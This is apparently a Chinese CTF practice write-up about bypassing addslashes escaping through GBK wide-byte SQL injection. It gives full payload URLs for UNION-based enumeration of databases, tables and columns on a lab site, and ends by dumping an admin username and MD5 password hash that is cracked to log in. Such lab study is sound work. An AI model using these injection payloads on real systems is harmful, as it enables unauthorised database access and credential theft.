宽字节注入

记一次宽字节注入的练习。

宽字节注入原理:

GBK 占用两字节
  ASCII占用一字节
  PHP中编码为GBK,函数执行添加的是ASCII编码,MYSQL默认字符集是GBK等宽字节字符集。
  输入%df和函数执行添加的%5C,被合并成%df%5C。由于GBK是两字节,这个%df%5C被MYSQL识别为GBK。导致本应的%df\变成%df%5C%df%5C在GBK编码中没有对应,所以被当成无效字符。
  %DF :会被PHP当中的addslashes函数转义为“%DF\'”“\”既URL里的%5C,那么也就是说,“%DF'”会被转成“%DF%5C%27”倘若网站的字符集是GBK,MYSQL使用的编码也是GBK的话,就会认为“%DF%5C%27”是一个宽字符。也就是“縗’”
题目地址:[题目传送]
[题目传送]:http://wpt5.xiniani.org/?id=1
做这题的时候充满了曲折,服务器原因,题目各种连不上,最后还是成功做出来了。
先来看看这题,题目刚进去就只有
图片
看见id=1可以联想到注入,可是试了各种方式都没用,经过ju5tw4nty0u师傅的提示,这题对单引号进行了转义,可以采用宽字节注入绕过。
于是先构造payload进行绕过单引号转义:?id=1%D6%27%20AND 1=1--+返回正常页面,再用?id=1%D6%27%20AND 1=2--+,则返回空白页面,说明我们成功的通过宽字节注入绕过了单引号转义。后面就是一些简单的注入过程,
先用order by查看字段数,发现存在3个字段,在第三个字段有q1005的库,payload:
http://wpt5.xiniani.org/?id=-1%DF%27%20union%20select%201,2,group_concat(schema_name)%20from%20information_schema.schemata--+
图片
再查看q1005的表名,payload:
http://wpt5.xiniani.org/?id=-1%DF%27%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=0x7131303035--+
图片
再查看列,payload:
http://wpt5.xiniani.org/?id=-1%DF%27%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns where table_name=0x7131303035--+
图片
查看字段,payload:
http://wpt5.xiniani.org/?id=-1%DF%27%20union%20select%201,2,group_concat(content)%20from%20q1005--+
图片
这个地方很坑,又遇见了熟悉的Hello,man!没看见flag,,,失败
最后只能去找找另一个表里的内容,同样的方法,在admin_ff表里找到一个用户名:xinian和密码:c3cbd894ea3620ffceb088671363eda0
密码通过md5解密。然后通过登录得到flag
图片